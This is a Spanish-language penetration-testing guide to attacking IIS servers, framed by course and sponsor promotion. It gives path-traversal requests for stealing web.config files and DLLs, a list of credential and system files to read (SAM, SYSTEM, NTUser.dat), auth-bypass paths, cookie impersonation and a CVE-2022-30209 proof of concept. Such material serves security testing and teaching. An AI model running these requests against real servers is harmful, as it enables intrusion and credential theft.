17 KiB
IIS - Internet Information Services
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
WhiteIntel
WhiteIntel es un motor de búsqueda alimentado por la dark-web que ofrece funcionalidades gratuitas para verificar si una empresa o sus clientes han sido comprometidos por malware de robo.
Su objetivo principal en WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
Puedes visitar su sitio web y probar su motor de búsqueda de forma gratuita en:
{% embed url="https://whiteintel.io" %}
Prueba extensiones de archivos ejecutables:
- asp
- aspx
- config
- php
Divulgación de dirección IP interna
En cualquier servidor IIS donde obtengas un 302, puedes intentar eliminar el encabezado Host y usar HTTP/1.0, y dentro de la respuesta, el encabezado Location podría señalarte la dirección IP interna:
nc -v domain.com 80
openssl s_client -connect domain.com:443
Respuesta que revela la IP interna:
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Ejecutar archivos .config
Puedes subir archivos .config y usarlos para ejecutar código. Una forma de hacerlo es añadiendo el código al final del archivo dentro de un comentario HTML: Descargar ejemplo aquí
Más información y técnicas para explotar esta vulnerabilidad aquí
Fuerza bruta de descubrimiento de IIS
Descarga la lista que he creado:
{% file src="../../.gitbook/assets/iisfinal.txt" %}
Fue creada fusionando los contenidos de las siguientes listas:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Úsalo sin añadir ninguna extensión, los archivos que la necesitan ya la tienen.
Traversal de ruta
Filtrando código fuente
Consulta el informe completo en: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
{% hint style="info" %}
Como resumen, hay varios archivos web.config dentro de las carpetas de la aplicación con referencias a archivos "assemblyIdentity" y "namespaces". Con esta información es posible saber dónde se encuentran los ejecutables y descargarlos.
A partir de los Dlls descargados también es posible encontrar nuevos namespaces donde deberías intentar acceder y obtener el archivo web.config para encontrar nuevos namespaces y assemblyIdentity.
Además, los archivos connectionstrings.config y global.asax pueden contener información interesante.\
{% endhint %}
En aplicaciones .Net MVC, el archivo web.config juega un papel crucial al especificar cada archivo binario del que depende la aplicación a través de etiquetas XML "assemblyIdentity".
Explorando Archivos Binarios
Un ejemplo de acceso al archivo web.config se muestra a continuación:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
Esta solicitud revela varias configuraciones y dependencias, tales como:
- EntityFramework versión
- AppSettings para páginas web, validación de clientes y JavaScript
- Configuraciones de System.web para autenticación y tiempo de ejecución
- Configuraciones de módulos de System.webServer
- Vínculos de ensamblado de Runtime para numerosas bibliotecas como Microsoft.Owin, Newtonsoft.Json y System.Web.Mvc
Estas configuraciones indican que ciertos archivos, como /bin/WebGrease.dll, se encuentran dentro de la carpeta /bin de la aplicación.
Archivos del Directorio Raíz
Los archivos encontrados en el directorio raíz, como /global.asax y /connectionstrings.config (que contiene contraseñas sensibles), son esenciales para la configuración y operación de la aplicación.
Espacios de Nombres y Web.Config
Las aplicaciones MVC también definen archivos adicionales de web.config para espacios de nombres específicos para evitar declaraciones repetitivas en cada archivo, como se demuestra con una solicitud para descargar otro web.config:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
Descargando DLLs
La mención de un espacio de nombres personalizado sugiere la presencia de una DLL llamada "WebApplication1" en el directorio /bin. A continuación, se muestra una solicitud para descargar la WebApplication1.dll:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
Esto sugiere la presencia de otros DLLs esenciales, como System.Web.Mvc.dll y System.Web.Optimization.dll, en el directorio /bin.
En un escenario donde un DLL importa un espacio de nombres llamado WebApplication1.Areas.Minded, un atacante podría inferir la existencia de otros archivos web.config en rutas predecibles, como /area-name/Views/, que contienen configuraciones específicas y referencias a otros DLLs en la carpeta /bin. Por ejemplo, una solicitud a /Minded/Views/web.config puede revelar configuraciones y espacios de nombres que indican la presencia de otro DLL, WebApplication1.AdditionalFeatures.dll.
Archivos comunes
Desde aquí
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 Error 404
Si ves un error como el siguiente:
Significa que el servidor no recibió el nombre de dominio correcto dentro del encabezado Host.
Para acceder a la página web, podrías echar un vistazo al Certificado SSL servido y tal vez puedas encontrar el nombre de dominio/subdominio allí. Si no está allí, es posible que necesites fuerza bruta VHosts hasta que encuentres el correcto.
Vulnerabilidades antiguas de IIS que vale la pena buscar
Vulnerabilidad/Característica del carácter tilde “~” de Microsoft IIS – Divulgación de nombres de archivos/carpetas cortos
Puedes intentar enumerar carpetas y archivos dentro de cada carpeta descubierta (incluso si requiere Autenticación Básica) usando esta técnica.
La principal limitación de esta técnica si el servidor es vulnerable es que solo puede encontrar hasta las primeras 6 letras del nombre de cada archivo/carpeta y las primeras 3 letras de la extensión de los archivos.
Puedes usar https://github.com/irsdl/IIS-ShortName-Scanner para probar esta vulnerabilidad: java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
Investigación original: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
También puedes usar metasploit: use scanner/http/iis_shortname_scanner
Bypass de autenticación básica
Bypass de una autenticación básica (IIS 7.5) intentando acceder a: /admin:$i30:$INDEX_ALLOCATION/admin.php
o /admin::$INDEX_ALLOCATION/admin.php
Puedes intentar mezclar esta vulnerabilidad y la anterior para encontrar nuevas carpetas y bypassear la autenticación.
Depuración habilitada de ASP.NET Trace.AXD
ASP.NET incluye un modo de depuración y su archivo se llama trace.axd
.
Mantiene un registro muy detallado de todas las solicitudes realizadas a una aplicación durante un período de tiempo.
Esta información incluye IPs de clientes remotos, IDs de sesión, todas las cookies de solicitud y respuesta, rutas físicas, información del código fuente y potencialmente incluso nombres de usuario y contraseñas.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/
Cookie ASPXAUTH
ASPXAUTH utiliza la siguiente información:
validationKey
(cadena): clave codificada en hex para usar en la validación de firma.decryptionMethod
(cadena): (por defecto “AES”).decryptionIV
(cadena): vector de inicialización codificado en hex (por defecto un vector de ceros).decryptionKey
(cadena): clave codificada en hex para usar en la decripción.
Sin embargo, algunas personas usarán los valores predeterminados de estos parámetros y usarán como cookie el correo electrónico del usuario. Por lo tanto, si puedes encontrar un sitio web que use la misma plataforma que está utilizando la cookie ASPXAUTH y creas un usuario con el correo electrónico del usuario que deseas suplantar en el servidor bajo ataque, podrías ser capaz de usar la cookie del segundo servidor en el primero y suplantar al usuario.
Este ataque funcionó en este writeup.
Bypass de autenticación de IIS con contraseñas en caché (CVE-2022-30209)
Informe completo aquí: Un error en el código no verificó correctamente la contraseña proporcionada por el usuario, por lo que un atacante cuyo hash de contraseña coincide con una clave que ya está en la caché podrá iniciar sesión como ese usuario.
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
WhiteIntel
WhiteIntel es un motor de búsqueda alimentado por la dark-web que ofrece funcionalidades gratuitas para verificar si una empresa o sus clientes han sido comprometidos por malware de robo.
Su objetivo principal de WhiteIntel es combatir la toma de control de cuentas y los ataques de ransomware resultantes de malware que roba información.
Puedes visitar su sitio web y probar su motor de forma gratuita en:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.